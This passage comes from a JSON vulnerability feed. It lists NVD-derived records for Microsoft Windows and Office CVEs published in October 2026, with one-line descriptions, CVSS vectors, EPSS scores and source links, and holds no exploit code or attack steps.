exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83855","cveId":"CVE-2026-83855","aliases":[],"kind":"vulnerability","title":"Integer underflow (wrap or wraparound) in Windows WLAN Service allows an unauthorized attacker to deny service over a network.","summary":"Integer underflow (wrap or wraparound) in Windows WLAN Service allows an unauthorized attacker to deny service over a network.","detail":"Integer underflow (wrap or wraparound) in Windows WLAN Service allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:34.513Z","updatedAt":"2026-10-21T15:44:12.317Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83855","asOf":"2026-10-21T15:44:12.317Z"},"epss":{"probability":0.0133,"percentile":0.70837,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83855&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83855","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83855","type":"primary","publishedAt":"2026-10-13T19:20:34.513Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83855","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83855&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83855, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83853","cveId":"CVE-2026-83853","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:34.227Z","updatedAt":"2026-10-21T15:45:24.960Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83853","asOf":"2026-10-21T15:45:24.960Z"},"epss":{"probability":0.00279,"percentile":0.20193,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83853&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83853","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83853","type":"primary","publishedAt":"2026-10-13T19:20:34.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83853","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83853&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83853, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83768","cveId":"CVE-2026-83768","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:25.097Z","updatedAt":"2026-10-21T18:58:51.627Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83768","asOf":"2026-10-21T18:58:51.627Z"},"epss":{"probability":0.00395,"percentile":0.33384,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83768&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83768","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83768","type":"primary","publishedAt":"2026-10-13T19:20:25.097Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83768","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83768&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83768, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83761","cveId":"CVE-2026-83761","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:22.707Z","updatedAt":"2026-10-21T18:59:31.487Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83761","asOf":"2026-10-21T18:59:31.487Z"},"epss":{"probability":0.00423,"percentile":0.36337,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83761&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83761","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83761","type":"primary","publishedAt":"2026-10-13T19:20:22.707Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83761","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83761&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83761, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83756","cveId":"CVE-2026-83756","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:21.927Z","updatedAt":"2026-10-21T19:00:30.727Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83756","asOf":"2026-10-21T19:00:30.727Z"},"epss":{"probability":0.00325,"percentile":0.25321,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83756&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83756","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83756","type":"primary","publishedAt":"2026-10-13T19:20:21.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83756","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83756&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83756, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83642","cveId":"CVE-2026-83642","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in DNS Server allows an unauthorized attacker to execute code over a network.","summary":"Access of resource using incompatible type ('type confusion') in DNS Server allows an unauthorized attacker to execute code over a network.","detail":"Access of resource using incompatible type ('type confusion') in DNS Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:04.920Z","updatedAt":"2026-10-16T16:21:11.580Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83642","asOf":"2026-10-16T16:21:11.580Z"},"epss":{"probability":0.00928,"percentile":0.60261,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83642&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83642","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83642","type":"primary","publishedAt":"2026-10-13T19:20:04.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83642","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83642&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83642, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83635","cveId":"CVE-2026-83635","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in DNS Server allows an unauthorized attacker to deny service over a network.","summary":"Out-of-bounds read in DNS Server allows an unauthorized attacker to deny service over a network.","detail":"Out-of-bounds read in DNS Server allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:03.557Z","updatedAt":"2026-10-16T10:45:38.767Z","regions":["Global"],"vendor":"microsoft","product":"windows server 2012","stacks":["Microsoft Windows","windows server 2012"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83635","asOf":"2026-10-16T10:45:38.767Z"},"epss":{"probability":0.0133,"percentile":0.70837,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83635&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83635","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83635","type":"primary","publishedAt":"2026-10-13T19:20:03.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83635","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83635&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83635, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77902","cveId":"CVE-2026-77902","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:53.927Z","updatedAt":"2026-10-15T21:17:48.610Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77902","asOf":"2026-10-15T21:17:48.610Z"},"epss":{"probability":0.00893,"percentile":0.59203,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77902&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77902","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77902","type":"primary","publishedAt":"2026-10-13T19:19:53.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-77902","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77902&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77902, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70303","cveId":"CVE-2026-70303","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds write in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds write in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:50.360Z","updatedAt":"2026-10-21T19:03:02.883Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70303","asOf":"2026-10-21T19:03:02.883Z"},"epss":{"probability":0.00423,"percentile":0.36338,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70303&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70303","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70303","type":"primary","publishedAt":"2026-10-13T19:19:50.360Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70303","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70303&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70303, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70302","cveId":"CVE-2026-70302","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:50.243Z","updatedAt":"2026-10-15T21:17:47.350Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70302","asOf":"2026-10-15T21:17:47.350Z"},"epss":{"probability":0.00912,"percentile":0.59767,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70302&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70302","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70302","type":"primary","publishedAt":"2026-10-13T19:19:50.243Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70302","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70302&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70302, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70301","cveId":"CVE-2026-70301","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:50.123Z","updatedAt":"2026-10-15T21:17:47.237Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70301","asOf":"2026-10-15T21:17:47.237Z"},"epss":{"probability":0.00912,"percentile":0.59766,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70301&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70301","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70301","type":"primary","publishedAt":"2026-10-13T19:19:50.123Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70301","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70301&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70301, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70287","cveId":"CVE-2026-70287","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:48.510Z","updatedAt":"2026-10-15T21:17:46.217Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70287","asOf":"2026-10-15T21:17:46.217Z"},"epss":{"probability":0.00912,"percentile":0.59767,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70287&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 